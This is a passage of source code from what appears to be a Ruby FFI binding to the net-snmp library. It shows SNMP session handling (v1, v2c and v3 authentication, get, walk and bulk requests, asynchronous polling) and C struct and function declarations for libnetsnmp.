 @peername = options[:peername] || 'localhost'\n        @peername = \"#{@peername}:#{options[:port]}\" if options[:port]\n        @community = options[:community] || \"public\"\n        options[:community_len] = @community.length\n        @version = options[:version] || 1\n        options[:version] ||= Constants::SNMP_VERSION_1\n        @version = options[:version] || 1\n        #self.class.sessions << self\n        @sess = Wrapper::SnmpSession.new(nil)\n        Wrapper.snmp_sess_init(@sess.pointer)\n        #options.each_pair {|k,v| ptr.send(\"#{k}=\", v)}\n        @sess.community = FFI::MemoryPointer.from_string(@community)\n        @sess.community_len = @community.length\n        @sess.peername = FFI::MemoryPointer.from_string(@peername)\n        #@sess.remote_port = options[:port] || 162\n        @sess.version = case options[:version].to_s\n        when '1'\n          Constants::SNMP_VERSION_1\n        when '2', '2c'\n          Constants::SNMP_VERSION_2c\n        when '3'\n          Constants::SNMP_VERSION_3\n        else\n          Constants::SNMP_VERSION_1\n        end\n        debug \"setting timeout = #{@timeout} retries = #{@retries}\"\n        @sess.timeout = @timeout * 1000000\n        @sess.retries = @retries\n\n        if @sess.version == Constants::SNMP_VERSION_3\n          @sess.securityLevel = options[:security_level] || Constants::SNMP_SEC_LEVEL_NOAUTH\n          @sess.securityAuthProto = case options[:auth_protocol]\n              when :sha1\n                OID.new(\"1.3.6.1.6.3.10.1.1.3\").pointer\n              when :md5\n                OID.new(\"1.3.6.1.6.3.10.1.1.2\").pointer\n              when nil\n                OID.new(\"1.3.6.1.6.3.10.1.1.1\").pointer\n          end\n          @sess.securityPrivProto = case options[:priv_protocol]\n              when :aes\n                OID.new(\"1.3.6.1.6.3.10.1.2.4\").pointer\n              when :des\n                OID.new(\"1.3.6.1.6.3.10.1.2.2\").pointer\n              when nil\n                OID.new(\"1.3.6.1.6.3.10.1.2.1\").pointer\n          end\n          \n          @sess.securityAuthProtoLen = 10\n          @sess.securityAuthKeyLen = Constants::USM_AUTH_KU_LEN\n\n          @sess.securityPrivProtoLen = 10\n          @sess.securityPrivKeyLen = Constants::USM_PRIV_KU_LEN\n\n\n          if options[:context]\n            @sess.contextName = FFI::MemoryPointer.from_string(options[:context])\n            @sess.contextNameLen = options[:context].length\n          end\n\n          # Do not generate_Ku, unless we're Auth or AuthPriv\n          unless @sess.securityLevel == Constants::SNMP_SEC_LEVEL_NOAUTH\n            options[:auth_password] ||= options[:password]  # backward compatability\n            if options[:username].nil? or options[:auth_password].nil?\n              raise Net::SNMP::Error.new \"SecurityLevel requires username and password\"\n            end\n            if options[:username]\n              @sess.securityName = FFI::MemoryPointer.from_string(options[:username])\n              @sess.securityNameLen = options[:username].length\n            end\n\n            auth_len_ptr = FFI::MemoryPointer.new(:size_t)\n            auth_len_ptr.write_int(Constants::USM_AUTH_KU_LEN)\n            auth_key_result = Wrapper.generate_Ku(@sess.securityAuthProto,\n                                             @sess.securityAuthProtoLen,\n                                             options[:auth_password],\n                                             options[:auth_password].length,\n                                             @sess.securityAuthKey,\n                                             auth_len_ptr)\n            @sess.securityAuthKeyLen = auth_len_ptr.read_int\n\n            if @sess.securityLevel == Constants::SNMP_SEC_LEVEL_AUTHPRIV\n              priv_len_ptr = FFI::MemoryPointer.new(:size_t)\n              priv_len_ptr.write_int(Constants::USM_PRIV_KU_LEN)\n\n              # NOTE I know this is handing off the AuthProto, but generates a proper\n              # key for encryption, and using PrivProto does not.\n              priv_key_result = Wrapper.generate_Ku(@sess.securityAuthProto,\n                                               @sess.securityAuthProtoLen,\n                                               options[:priv_password],\n                                               options[:priv_password].length,\n                                               @sess.securityPrivKey,\n                                               priv_len_ptr)\n              @sess.securityPrivKeyLen = priv_len_ptr.read_int\n            end\n\n            unless auth_key_result == Constants::SNMPERR_SUCCESS and priv_key_result == Constants::SNMPERR_SUCCESS\n              Wrapper.snmp_perror(\"netsnmp\")\n            end\n          end\n        end\n        # General callback just takes the pdu, calls the session callback if any, then the request specific callback.\n\n        @struct = Wrapper.snmp_sess_open(@sess.pointer)\n      end\n\n\n      # Close the snmp session and free associated resources.\n      def close\n        if Net::SNMP.thread_safe\n          self.class.lock.synchronize {\n            Wrapper.snmp_sess_close(@struct)\n            self.class.sessions.delete(self.sessid)\n          }\n        else\n          Wrapper.snmp_sess_close(@struct)\n          self.class.sessions.delete(self.sessid)\n        end\n      end\n\n      # Issue an SNMP GET Request.\n      # See #send_pdu\n      def get(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GET)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Issue an SNMP GETNEXT Request\n      # See #send_pdu\n      def get_next(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GETNEXT)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Issue an SNMP GETBULK Request\n      # See #send_pdu\n      def get_bulk(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GETBULK)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        pdu.non_repeaters = options[:non_repeaters] || 0\n        pdu.max_repetitions = options[:max_repetitions] || 10\n        send_pdu(pdu, options, &block)\n      end\n\n\n      # Issue an SNMP Set Request\n      # See #send_pdu\n      def set(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_SET)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid[0], :type => oid[1], :value => oid[2])\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Proxy getters to the C struct representing the session\n      def method_missing(m, *args)\n        if @struct.respond_to?(m)\n          @struct.send(m, *args)\n        else\n          super\n        end\n      end\n\n      def default_max_repeaters\n        # We could do something based on transport here.  25 seems safe\n        25\n      end\n\n      # Raise a NET::SNMP::Error with the session attached\n      def error(msg, options = {})\n        #Wrapper.snmp_sess_perror(msg, @sess.pointer)\n        err =  Error.new({:session => self}.merge(options))\n        err.print\n        raise err, msg\n      end\n      \n\n      # Check the session for SNMP responses from asynchronous SNMP requests\n      # This method will check for new responses and call the associated\n      # response callbacks.\n      # +timeout+  A timeout of nil indicates a poll and will return immediately.\n      # A value of false will block until data is available.  Otherwise, pass\n      # the number of seconds to block.\n      # Returns the number of file descriptors handled.\n      def select(timeout = nil)\n          fdset = FFI::MemoryPointer.new(:pointer, Net::SNMP::Inline.fd_setsize / 8)\n          num_fds = FFI::MemoryPointer.new(:int)\n          tv_sec = timeout ? timeout.round : 0\n          tv_usec = timeout ? (timeout - timeout.round) * 1000000 : 0\n          tval = Wrapper::TimeVal.new(:tv_sec => tv_sec, :tv_usec => tv_usec)\n          block = FFI::MemoryPointer.new(:int)\n          if timeout.nil?\n            block.write_int(0)\n          else\n            block.write_int(1)\n          end\n\n          Wrapper.snmp_sess_select_info(@struct, num_fds, fdset, tval.pointer, block )\n          tv = (timeout == false ? nil : tval)\n          #debug \"Calling select #{Time.now}\"\n          num_ready = FFI::LibC.select(num_fds.read_int, fdset, nil, nil, tv)\n          #debug \"Done select #{Time.now}\"\n          if num_ready > 0\n            Wrapper.snmp_sess_read(@struct, fdset)\n          elsif num_ready == 0\n            Wrapper.snmp_sess_timeout(@struct)\n          elsif num_ready == -1\n            # error.  check snmp_error?\n            error(\"select\")\n          else\n            error(\"wtf is wrong with select?\")\n          end\n          num_ready\n      end\n\n      alias :poll :select\n\n\n      # Issue repeated getnext requests on each oid passed in until\n      # the result is no longer a child.  Returns a hash with the numeric\n      # oid strings as keys.\n      # XXX work in progress.   only works synchronously (except with EM + fibers).\n      # Need to do better error checking and use getbulk when avaiable.\n      def walk(oidlist, options = {})\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist = oidlist.map {|o| o.kind_of?(OID) ? o : OID.new(o)}\n        all_results = {}\n        base_list = oidlist\n        while(!oidlist.empty? && pdu = get_next(oidlist, options))\n          debug \"===============================================================\"\n          debug \"base_list = #{base_list}\"\n          prev_base = base_list.dup\n          oidlist = []\n          #print_errors\n          #pdu.print_errors\n          pdu.varbinds.each_with_index do |vb, i|\n            if prev_base[i].parent_of?(vb.oid) && vb.object_type != Constants::SNMP_ENDOFMIBVIEW\n              # Still in subtree.  Store results and add next oid to list\n              debug \"adding #{vb.oid} to oidlist\"\n              all_results[vb.oid.to_s] = vb.value\n              oidlist << vb.oid\n            else\n              # End of subtree.  Don't add to list or results\n              debug \"End of subtree\"\n              base_list.delete_at(i)\n              debug \"not adding #{vb.oid}\"\n            end\n            # If get a pdu error, we can only tell the first failing varbind,\n            # So we remove it and resend all the rest\n            if pdu.error? && pdu.errindex == i + 1\n              oidlist.pop  # remove the bad oid\n              debug \"caught error\"\n              if pdu.varbinds.size > i+1\n                # recram rest of oids on list\n                ((i+1)..pdu.varbinds.size).each do |j|\n                  debug \"j = #{j}\"\n                  debug \"adding #{j} = #{prev_list[j]}\"\n                  oidlist << prev_list[j]\n                end\n                # delete failing oid from base_list\n                base_list.delete_at(i)\n              end\n              break\n            end\n          end\n        end\n        if block_given?\n          yield all_results\n        end\n        all_results\n      end\n\n\n      # Given a list of columns (e.g ['ifIndex', 'ifDescr'], will return a hash with\n      # the indexes as keys and hashes as values.\n      #   puts sess.get_columns(['ifIndex', 'ifDescr']).inspect\n      #   {'1' => {'ifIndex' => '1', 'ifDescr' => 'lo0'}, '2' => {'ifIndex' => '2', 'ifDescr' => 'en0'}}\n      def columns(columns, options = {})\n        columns = columns.map {|c| c.kind_of?(OID) ? c : OID.new(c)}\n        walk_hash = walk(columns, options)\n        results = {}\n        walk_hash.each do |k, v|\n          oid = OID.new(k)\n          results[oid.index] ||= {}\n          results[oid.index][oid.node.label] = v\n        end\n        if block_given?\n          yield results\n        end\n        results\n      end\n\n      # table('ifEntry').  You must pass the direct parent entry.  Calls columns with all\n      # columns in +table_name+\n      def table(table_name, &blk)\n        column_names = MIB::Node.get_node(table_name).children.collect {|c| c.oid }\n        results = columns(column_names)\n        if block_given?\n          yield results\n        end\n        results\n      end\n\n      # Send a PDU\n      # +pdu+  The Net::SNMP::PDU object to send.  Usually created by Session.get, Session.getnext, etc.\n      # +callback+ An optional callback.  It should take two parameters, status and response_pdu.\n      # If no +callback+ is given, the call will block until the response is available and will return\n      # the response pdu.  If an error occurs, a Net::SNMP::Error will be thrown.\n      # If +callback+ is passed, the PDU will be sent and +send_pdu+ will return immediately.  You must\n      # then call Session.select to invoke the callback.  This is usually done in some sort of event loop.\n      # See Net::SNMP::Dispatcher.\n      #\n      # If you're running inside eventmachine and have fibers (ruby 1.9, jruby, etc), sychronous calls will\n      # actually run asynchronously behind the scenes.  Just run Net::SNMP::Dispatcher.fiber_loop in your\n      # reactor.\n      #\n      #   pdu = Net::SNMP::PDU.new(Constants::SNMP_MSG_GET)\n      #   pdu.add_varbind(:oid => 'sysDescr.0')\n      #   session.send_pdu(pdu) do |status, pdu|\n      #     if status == :success\n      #       pdu.print\n      #     elsif status == :timeout\n      #       puts \"Timed Out\"\n      #     else\n      #       puts \"A problem occurred\"\n      #     end\n      #   end\n      #   session.select(false)  #block until data is ready.  Callback will be called.\n      #   begin\n      #     result = session.send_pdu(pdu)\n      #     puts result.inspect\n      #   rescue Net::SNMP::Error => e\n      #     puts e.message\n      #   end\n      def send_pdu(pdu, options = {},  &callback)\n        if options[:blocking]\n          return send_pdu_blocking(pdu)\n        end\n        if block_given?\n          @requests[pdu.reqid] = callback\n          debug \"calling async_send\"\n          if Wrapper.snmp_sess_async_send(@struct, pdu.pointer, sess_callback, nil) == 0\n            error(\"snmp_get async failed\")\n          end\n          #pdu.free\n          nil\n        else\n          if defined?(EM) && EM.reactor_running? && defined?(Fiber)\n            f = Fiber.current\n            send_pdu pdu do | op, response_pdu |\n              #pdu.free\n              f.resume([op, response_pdu])\n            end\n            op, result = Fiber.yield\n            case op\n              when :timeout\n                raise TimeoutError.new, \"timeout\"\n              when :send_failed\n                error \"send failed\"\n              when :success\n                result\n              when :connect, :disconnect\n                nil   #does this ever happen?\n              else\n                error \"unknown operation #{op}\"\n            end\n          else\n            send_pdu_blocking(pdu)\n          end\n        end\n      end\n\n      def send_pdu_blocking(pdu)\n        response_ptr = FFI::MemoryPointer.new(:pointer)\n        if [Constants::SNMP_MSG_TRAP, Constants::SNMP_MSG_TRAP2].include?(pdu.command)\n          status = Wrapper.snmp_sess_send(@struct, pdu.pointer)\n          if status == 0\n            error(\"snmp_sess_send\")\n          end\n        else\n          status = Wrapper.snmp_sess_synch_response(@struct, pdu.pointer, response_ptr)\n          unless status == Constants::STAT_SUCCESS\n            error(\"snmp_sess_synch_response\", :status => status)\n          end\n        end\n        if [Constants::SNMP_MSG_TRAP, Constants::SNMP_MSG_TRAP2].include?(pdu.command)\n          1\n        else\n          PDU.new(response_ptr.read_pointer)\n        end\n      end\n\n      def errno\n        get_error\n        @errno\n      end\n\n      # The SNMP Session error code\n      def snmp_err\n        get_error\n        @snmp_err\n      end\n\n      # The SNMP Session error message\n      def error_message\n        get_error\n        @snmp_msg\n      end\n\n      def print_errors\n        puts \"errno: #{errno}, snmp_err: #{@snmp_err}, message: #{@snmp_msg}\"\n      end\n      private\n      def sess_callback\n        @sess_callback ||= FFI::Function.new(:int, [:int, :pointer, :int, :pointer, :pointer]) do |operation, session, reqid, pdu_ptr, magic|\n          debug \"in callback #{operation.inspect} #{session.inspect}\"\n          op = case operation\n            when Constants::NETSNMP_CALLBACK_OP_RECEIVED_MESSAGE\n              :success\n            when Constants::NETSNMP_CALLBACK_OP_TIMED_OUT\n              :timeout\n            when Constants::NETSNMP_CALLBACK_OP_SEND_FAILED\n              :send_failed\n            when Constants::NETSNMP_CALLBACK_OP_CONNECT\n              :connect\n            when Constants::NETSNMP_CALLBACK_OP_DISCONNECT\n              :disconnect\n            else\n              error \"Invalid PDU Operation\"\n          end\n\n          if @requests[reqid]\n            pdu = PDU.new(pdu_ptr)\n            callback_return = @requests[reqid].call(op, pdu)\n            @requests.delete(reqid)\n            callback_return == false ? 0 : 1 #if callback returns false (failure), pass it on.  otherwise return 1 (success)\n          else\n            0# Do what here?  Can this happen?  Maybe request timed out and was deleted?\n          end\n        end\n      end\n      def get_error\n          errno_ptr = FFI::MemoryPointer.new(:int)\n          snmp_err_ptr = FFI::MemoryPointer.new(:int)\n          msg_ptr = FFI::MemoryPointer.new(:pointer)\n          Wrapper.snmp_sess_error(@struct.pointer, errno_ptr, snmp_err_ptr, msg_ptr)\n          @errno = errno_ptr.read_int\n          @snmp_err = snmp_err_ptr.read_int\n          @snmp_msg = msg_ptr.read_pointer.read_string\n      end\n\n\n    end\n  end\nend\n\n\n", "lib/net/snmp/wrapper.rb": "module Net\nmodule SNMP\nmodule Wrapper\n  extend NiceFFI::Library\n  ffi_lib \"libnetsnmp\"\n  #ffi_lib \"netsnmp\"\n  typedef :u_long, :oid\n\n  class Counter64 < NiceFFI::Struct\n    layout(\n           :high, :u_long,\n           :low, :u_long\n    )\n  end\n\n  class TimeVal < NiceFFI::Struct\n    layout(:tv_sec, :long, :tv_usec, :long)\n  end\n  def self.print_timeval(tv)\n    puts \"tv_sec = #{tv.tv_sec}, tv_usec = #{tv.tv_usec} \"\n  end\n\n\n  class NetsnmpVardata < FFI::Union\n    layout(\n           :integer, :pointer,\n           :string, :pointer,\n           :objid, :pointer,\n           :bitstring, :pointer,\n           :counter64, :pointer,\n           :float, :pointer,\n           :double, :pointer\n    )\n  end\n\n  def self.print_varbind(v)\n    puts \"---------------------VARBIND------------------------\"\n    puts %{\n      name_length #{v.name_length}\n      name #{v.name.read_array_of_long(v.name_length).join(\".\")}\n      type = #{v.type}\n\n    }\n  end\n # puts \"Vardata size = #{NetsnmpVardata.size}\"\n  class VariableList < NiceFFI::Struct\n    layout(\n           :next_variable, :pointer,\n           :name, :pointer,\n           :name_length, :size_t,\n           :type, :u_char,\n           :val, NetsnmpVardata,\n           :val_len, :size_t,\n           :name_loc, [:oid, Net::SNMP::MAX_OID_LEN],\n           :buf, [:u_char, 40],\n           :data, :pointer,\n           :dataFreeHook, callback([ :pointer ], :void),\n           :index, :int\n    )  \n  end\n  \n  #puts \"VariableList size = #{VariableList.size}\"\n\n  def self.print_pdu(p)\n    puts \"--------------PDU---------------\"\n    puts %{\n      version = #{p.version}\n      command = #{p.command}\n      errstat = #{p.errstat}\n      errindex = #{p.errindex}\n    }\n    v = p.variables.pointer\n    puts \"-----VARIABLES------\"\n    while !v.null? do\n      var = VariableList.new v\n      print_varbind(var)\n      v = var.next_variable\n    end\n    \n  end\n  class SnmpPdu < NiceFFI::Struct\n    layout(\n           :version, :long,\n           :command, :int,\n           :reqid, :long,\n           :msgid, :long,\n           :transid, :long,\n           :sessid, :long,\n           :errstat, :long,\n           :errindex, :long,\n           :time, :u_long,\n           :flags, :u_long,\n           :securityModel, :int,\n           :securityLevel, :int,\n           :msgParseModel, :int,\n           :transport_data, :pointer,\n           :transport_data_length, :int,\n           :tDomain, :pointer,\n           :tDomainLen, :size_t,\n           :variables, VariableList.typed_pointer,\n           :community, :pointer,\n           :community_len, :size_t,\n           :enterprise, :pointer,\n           :enterprise_length, :size_t,\n           :trap_type, :long,\n           :specific_type, :long,\n           :agent_addr, [:uchar, 4],\n           :contextEngineID, :pointer,\n           :contextEngineIDLen, :size_t,\n           :contextName, :pointer,\n           :contextNameLen, :size_t,\n           :securityEngineID, :pointer,\n           :securityEngineIDLen, :size_t,\n           :securityName, :pointer,\n           :securityNameLen, :size_t,\n           :priority, :int,\n           :range_subid, :int,\n           :securityStateRef, :pointer\n    )\n\n  end\n # puts \"snmppdu size = #{SnmpPdu.size}\"\n  callback(:snmp_callback, [ :int, :pointer, :int, :pointer, :pointer ], :int)\n  callback(:netsnmp_callback, [ :int, :pointer, :int, :pointer, :pointer ], :int)\n  def self.print_session(s)\n    puts \"-------------------SESSION---------------------\"\n    puts %{\n      peername = #{s.peername.read_string}\n      community = #{s.community.read_string(s.community_len)}\n      s_errno = #{s.s_errno}\n      s_snmp_errno = #{s.s_snmp_errno}\n      securityAuthKey = #{s.securityAuthKey.to_ptr.read_string}\n\n    }\n  end\n  class SnmpSession < NiceFFI::Struct\n    layout(\n           :version, :long,\n           :retries, :int,\n           :timeout, :long,\n           :flags, :u_long,\n           :subsession, :pointer,\n           :next, :pointer,\n           :peername, :pointer,\n           :remote_port, :u_short,\n           :localname, :pointer,\n           :local_port, :u_short,\n           :authenticator, callback([ :pointer, :pointer, :pointer, :uint ], :pointer),\n           :callback, :netsnmp_callback,\n           :callback_magic, :pointer,\n           :s_errno, :int,\n           :s_snmp_errno, :int,\n           :sessid, :long,\n           :community, :pointer,\n           :community_len, :size_t,\n           :rcvMsgMaxSize, :size_t,\n           :sndMsgMaxSize, :size_t,\n           :isAuthoritative, :u_char,\n           :contextEngineID, :pointer,\n           :contextEngineIDLen, :size_t,\n           :engineBoots, :u_int,\n           :engineTime, :u_int,\n           :contextName, :pointer,\n           :contextNameLen, :size_t,\n           :securityEngineID, :pointer,\n           :securityEngineIDLen, :size_t,\n           :securityName, :pointer,\n           :securityNameLen, :size_t,\n           :securityAuthProto, :pointer,\n           :securityAuthProtoLen, :size_t,\n           :securityAuthKey, [:u_char, 32],\n           :securityAuthKeyLen, :size_t,\n           :securityAuthLocalKey, :pointer,\n           :securityAuthLocalKeyLen, :size_t,\n           :securityPrivProto, :pointer,\n           :securityPrivProtoLen, :size_t,\n           :securityPrivKey, [:u_char, 32],\n           :securityPrivKeyLen, :size_t,\n           :securityPrivLocalKey, :pointer,\n           :securityPrivLocalKeyLen, :size_t,\n           :securityModel, :int,\n           :securityLevel, :int,\n           :paramName, :pointer,\n           :securityInfo, :pointer,\n           :myvoid, :pointer\n    )\n  end\n  class Tree < NiceFFI::Struct\n    layout(\n      :child_list, :pointer,\n      :next_peer, :pointer,\n      :next, :pointer,\n      :parent, :pointer,\n      :label, :string,\n      :subid, :u_long,\n      :modid, :int,\n      :number_modules, :int,\n      :module_list, :pointer,\n      :tc_index, :int,\n      :type, :int,\n      :access, :int,\n      :status, :int,\n      :enums, :pointer,\n      :ranges, :pointer,\n      :indexes, :pointer,\n      :augments, :pointer,\n      :varbinds, :pointer,\n      :hint, :pointer,\n      :units, :pointer,\n      :printomat, callback([:pointer, :pointer, :pointer, :int, :pointer, :pointer, :pointer, :pointer], :int),\n      :printer, callback([:pointer, :pointer, :pointer, :pointer, :pointer], :void),\n      :description, :pointer,\n      :reference, :pointer,\n      :reported, :int,\n      :defaultValue, :pointer\n    )\n  end\n  class IndexList < NiceFFI::Struct\n    layout(\n        :next, :pointer,\n        :ilabel, :pointer,\n        :isimplied, :char\n    )\n  end\n\n\n#  puts \"snmp_session size = #{SnmpSession.size}\"\n  attach_function :snmp_open, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_errstring, [:int], :string\n  attach_function :snmp_close, [ :pointer ], :int\n  attach_function :snmp_close_sessions, [  ], :int\n  attach_function :snmp_send, [ :pointer, :pointer ], :int\n  attach_function :snmp_async_send, [ :pointer, :pointer, :netsnmp_callback, :pointer ], :int\n  attach_function :snmp_read, [ :pointer ], :void\n  attach_function :snmp_free_pdu, [ :pointer ], :void\n  attach_function :snmp_free_var, [ :pointer ], :void\n  attach_function :snmp_free_varbind, [ :pointer ], :void\n  attach_function :snmp_select_info, [ :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmp_timeout, [  ], :void\n\n  attach_function :snmp_get_next_msgid, [  ], :long\n  attach_function :snmp_get_next_reqid, [  ], :long\n  attach_function :snmp_get_next_sessid, [  ], :long\n  attach_function :snmp_get_next_transid, [  ], :long\n  attach_function :snmp_oid_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :snmp_oid_ncompare, [ :pointer, :uint, :pointer, :uint, :uint ], :int\n  attach_function :snmp_oidtree_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :snmp_oidsubtree_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_compare_ll, [ :pointer, :uint, :pointer, :uint, :pointer ], :int\n  attach_function :netsnmp_oid_equals, [ :pointer, :uint, :pointer, :uint ], :int\n#  attach_function :netsnmp_oid_tree_equals, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_is_subtree, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_find_prefix, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_transport_open_client, [:string, :pointer], :pointer\n  attach_function :init_snmp, [ :string ], :void\n  attach_function :snmp_pdu_build, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :snmpv3_parse, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmpv3_packet_build, [ :pointer, :pointer, :pointer, :pointer, :pointer, :uint ], :int\n#  attach_function :snmpv3_packet_rbuild, [ :pointer, :pointer, :pointer, :pointer, :pointer, :uint ], :int\n  attach_function :snmpv3_make_report, [ :pointer, :int ], :int\n  attach_function :snmpv3_get_report_type, [ :pointer ], :int\n  attach_function :snmp_pdu_parse, [ :pointer, :pointer, :pointer ], :int\n  attach_function :snmpv3_scopedPDU_parse, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :snmp_store, [ :string ], :void\n  attach_function :snmp_shutdown, [ :string ], :void\n  attach_function :snmp_pdu_add_variable, [ :pointer, :pointer, :uint, :u_char, :pointer, :size_t ], :pointer\n  attach_function :snmp_varlist_add_variable, [ :pointer, :pointer, :uint, :u_char, :pointer, :uint ], :pointer\n  attach_function :snmp_add_var, [ :pointer, :pointer, :uint, :char, :string ], :int\n  attach_function :snmp_duplicate_objid, [ :pointer, :uint ], :pointer\n  attach_function :snmp_increment_statistic, [ :int ], :u_int\n  attach_function :snmp_increment_statistic_by, [ :int, :int ], :u_int\n  attach_function :snmp_get_statistic, [ :int ], :u_int\n  attach_function :snmp_init_statistics, [  ], :void\n  attach_function :create_user_from_session, [ :pointer ], :int\n # attach_function :snmp_get_fd_for_session, [ :pointer ], :int\n  attach_function :snmp_open_ex, [ :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int) ], :pointer\n  attach_function :snmp_set_do_debugging, [ :int ], :void\n  attach_function :snmp_get_do_debugging, [  ], :int\n  attach_function :snmp_error, [ :pointer, :pointer, :pointer, :pointer ], :void\n  attach_function :snmp_sess_init, [ :pointer ], :void\n  attach_function :snmp_sess_open, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_sess_pointer, [ :pointer ], :pointer\n  attach_function :snmp_sess_session, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_sess_transport, [ :pointer ], :pointer\n  attach_function :snmp_sess_transport_set, [ :pointer, :pointer ], :void\n  attach_function :snmp_sess_add_ex, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int), callback([ :pointer, :pointer, :uint ], :pointer) ], :pointer\n  attach_function :snmp_sess_add, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :int ], :int) ], :pointer\n  attach_function :snmp_add, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :int ], :int) ], :pointer\n  attach_function :snmp_add_full, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int), callback([ :pointer, :pointer, :uint ], :pointer) ], :pointer\n  attach_function :snmp_sess_send, [ :pointer, :pointer ], :int\n  attach_function :snmp_sess_async_send, [ :pointer, :pointer, :snmp_callback, :pointer ], :int\n  attach_function :snmp_sess_select_info, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmp_sess_read, [ :pointer, :pointer ], :int\n  attach_function :snmp_sess_timeout, [ :pointer ], :void\n  attach_function :snmp_sess_close, [ :pointer ], :int\n  attach_function :snmp_sess_error, [ :pointer, :pointer, :pointer, :pointer ], :void\n  attach_function :netsnmp_sess_log_error, [ :int, :string, :pointer ], :void\n  attach_function :snmp_sess_perror, [ :string, :pointer ], :void\n  attach_function :snmp_pdu_type, [ :int ], :string\n\n\n  \n  attach_function :asn_check_packet, [ :pointer, :uint ], :int\n  attach_function :asn_parse_int, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_int, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_unsigned_int, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_unsigned_int, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_string, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_string, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_header, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_parse_sequence, [ :pointer, :pointer, :pointer, :u_char, :string ], :pointer\n  attach_function :asn_build_header, [ :pointer, :pointer, :u_char, :uint ], :pointer\n  attach_function :asn_build_sequence, [ :pointer, :pointer, :u_char, :uint ], :pointer\n  attach_function :asn_parse_length, [ :pointer, :pointer ], :pointer\n  attach_function :asn_build_length, [ :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_parse_objid, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_objid, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_null, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_null, [ :pointer, :pointer, :u_char ], :pointer\n  attach_function :asn_parse_bitstring, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :pointer\n  attach_function :asn_build_bitstring, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_unsigned_int64, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_unsigned_int64, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_signed_int64, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_signed_int64, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_build_float, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_float, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n  attach_function :asn_build_double, [ :pointer, :pointer, :u_char, :pointer, :uint ], :pointer\n  attach_function :asn_parse_double, [ :pointer, :pointer, :pointer, :pointer, :uint ], :pointer\n\n  attach_function :snmp_pdu_create, [:int], SnmpPdu.typed_pointer\n  attach_function :get_node,[:string, :pointer, :pointer], :int\n  attach_function :read_objid, [:string, :pointer, :pointer], :int\n  attach_function :snmp_add_null_var, [:pointer, :pointer, :size_t], :pointer\n  attach_function :snmp_sess_synch_response, [:pointer, :pointer, 